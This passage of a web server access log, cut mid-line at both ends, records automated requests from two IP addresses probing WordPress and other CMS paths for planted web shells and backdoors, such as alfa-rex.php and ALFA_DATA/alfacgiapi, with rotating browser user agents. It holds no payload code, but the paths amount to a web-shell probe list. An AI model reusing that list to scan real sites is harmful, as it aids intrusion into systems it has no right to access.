x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:25:35 -0400] "GET /wp-includes/Text/Diff/Engine/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:25:35 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.91 - - [23/Apr/2025:03:25:35 -0400] "GET /wp-includes/images/wlwmod_popular.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.89 - - [23/Apr/2025:03:25:36 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.91 - - [23/Apr/2025:03:25:36 -0400] "GET /wp-includes/pomo/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:36 -0400] "GET /wp-includes/IXR/class-IXR-requests.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.89 - - [23/Apr/2025:03:25:36 -0400] "GET /wp-includes/PHPMailer/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:36 -0400] "GET /wp-content/uploads/ao_ccss/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.91 - - [23/Apr/2025:03:25:36 -0400] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:36 -0400] "GET /wp-includes/sitemaps/providers/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.89 - - [23/Apr/2025:03:25:36 -0400] "GET /wp-admin/css/colors/blue/hizuka.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:36 -0400] "GET /wp-includes/widgets/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.91 - - [23/Apr/2025:03:25:36 -0400] "GET /wp-admin/css/colors/blue/mlm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:36 -0400] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:36 -0400] "GET /.well-known/deposit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:36 -0400] "GET /wp-includes/fonts/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:36 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.91 - - [23/Apr/2025:03:25:36 -0400] "GET /images/2008.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:36 -0400] "GET /wp-content/uploads/lndex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:36 -0400] "GET /wp-includes/images/crystal/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.91 - - [23/Apr/2025:03:25:36 -0400] "GET /wp-includes/PHPMailer/xoxo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:36 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:37 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:37 -0400] "GET /wp-includes/images/media/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:37 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:37 -0400] "GET /wp-admin/css/colors/blue/hizuka.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:37 -0400] "GET /wp-admin/maint/yes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:37 -0400] "GET /wp-includes/images/smilies/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:37 -0400] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:37 -0400] "GET /.well-known/deposit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:25:37 -0400] "GET /wp-includes/pomo/mpvloi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.91 - - [23/Apr/2025:03:25:37 -0400] "GET /wp-includes/js/codemirror/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:37 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:37 -0400] "GET /wp-content/uploads/lndex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.89 - - [23/Apr/2025:03:25:37 -0400] "GET /wp-admin/images/edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:37 -0400] "GET /wp-includes/js/plupload/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:37 -0400] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:37 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:37 -0400] "GET /wp-admin/includes/media.php.INFECTED.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:37 -0400] "GET /files/editprofile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:37 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:25:38 -0400] "GET /wp-admin/maint/yes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:38 -0400] "GET /wp-includes/block-bindings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:38 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:38 -0400] "GET /images/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:38 -0400] "GET /wp-includes/pomo/mpvloi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.91 - - [23/Apr/2025:03:25:38 -0400] "GET /wp-admin/maint/lol.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:38 -0400] "GET /wp-admin/css/colors/ectoplasm/str_shuffcle.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:38 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:38 -0400] "GET /wp-admin/images/edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.89 - - [23/Apr/2025:03:25:38 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.89 - - [23/Apr/2025:03:25:38 -0400] "GET /files/css_compare.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:25:38 -0400] "GET /uploads/abstract_login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:38 -0400] "GET /wp-admin/includes/media.php.INFECTED.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:38 -0400] "GET /wp-includes/0.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:38 -0400] "GET /admin/tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:38 -0400] "GET /wp-content/uploads/etipat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:38 -0400] "GET /wp-includes/block-bindings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.89 - - [23/Apr/2025:03:25:38 -0400] "GET /wp-admin/includes/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:38 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.91 - - [23/Apr/2025:03:25:39 -0400] "GET /wp-includes/widgets/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:39 -0400] "GET /wp-admin/css/colors/ectoplasm/str_shuffcle.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:39 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:39 -0400] "GET /wp-includes/prayer_intentions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:39 -0400] "GET /files/css_compare.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:39 -0400] "GET /wp-admin/css/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:39 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:25:39 -0400] "GET /wp-includes/fonts/class-wp-font-collection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:39 -0400] "GET /wp-includes/0.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:39 -0400] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:39 -0400] "GET /wp-admin/css/colors/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:39 -0400] "GET /wp-admin/css/OK.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:39 -0400] "GET /wp-admin/includes/go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.89 - - [23/Apr/2025:03:25:39 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.91 - - [23/Apr/2025:03:25:40 -0400] "GET /wp-admin/css/colors/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:40 -0400] "GET /wp-admin/maint/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:40 -0400] "GET /wp-includes/prayer_intentions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:40 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:40 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:40 -0400] "GET /wp-admin/css/wp-damin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:25:40 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:40 -0400] "GET /wp-includes/fonts/class-wp-font-collection.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:40 -0400] "GET /wp-admin/includes/archiveo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.89 - - [23/Apr/2025:03:25:40 -0400] "GET /wp-includes/Text/Diff/Renderer/last.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:40 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:40 -0400] "GET /wp-admin/css/OK.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:40 -0400] "GET /wp-admin/includes/functionsf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:41 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.91 - - [23/Apr/2025:03:25:41 -0400] "GET /wp-admin/maint/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:25:41 -0400] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:41 -0400] "GET /wp-admin/includes/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.89 - - [23/Apr/2025:03:25:41 -0400] "GET /wp-content/languages/ru_RU_lite.mo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:25:41 -0400] "GET /wp-admin/css/wp-damin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:41 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:41 -0400] "GET /wp-admin/maint/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:41 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.91 - - [23/Apr/2025:03:25:41 -0400] "GET /wp-includes/Text/Diff/Renderer/last.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:41 -0400] "GET /wp-includes/widgets/hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:25:41 -0400] "GET /wp-admin/maint/singlee.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.91 - - [23/Apr/2025:03:25:41 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.89 - - [23/Apr/2025:03:25:41 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:25:41 -0400] "GET /wp-includes/wp-admin-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:41 -0400] "GET /wp-admin/css/pageb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.89 - - [23/Apr/2025:03:25:42 -0400] "GET /mt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:42 -0400] "GET /wp-content/languages/ru_RU_lite.mo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.91 - - [23/Apr/2025:03:25:42 -0400] "GET /wp-admin/css/colors/blue/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.89 - - [23/Apr/2025:03:25:42 -0400] "GET /wp-includes/Text/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.89 - - [23/Apr/2025:03:25:42 -0400] "GET /site/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:25:42 -0400] "GET /wp-includes/widgets/hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:42 -0400] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:42 -0400] "GET /wp-admin/images/searchl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:25:42 -0400] "GET /tmps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:25:42 -0400] "GET /wp-includes/wp-admin-css.php HTTP/1.1" 301 795 "-" 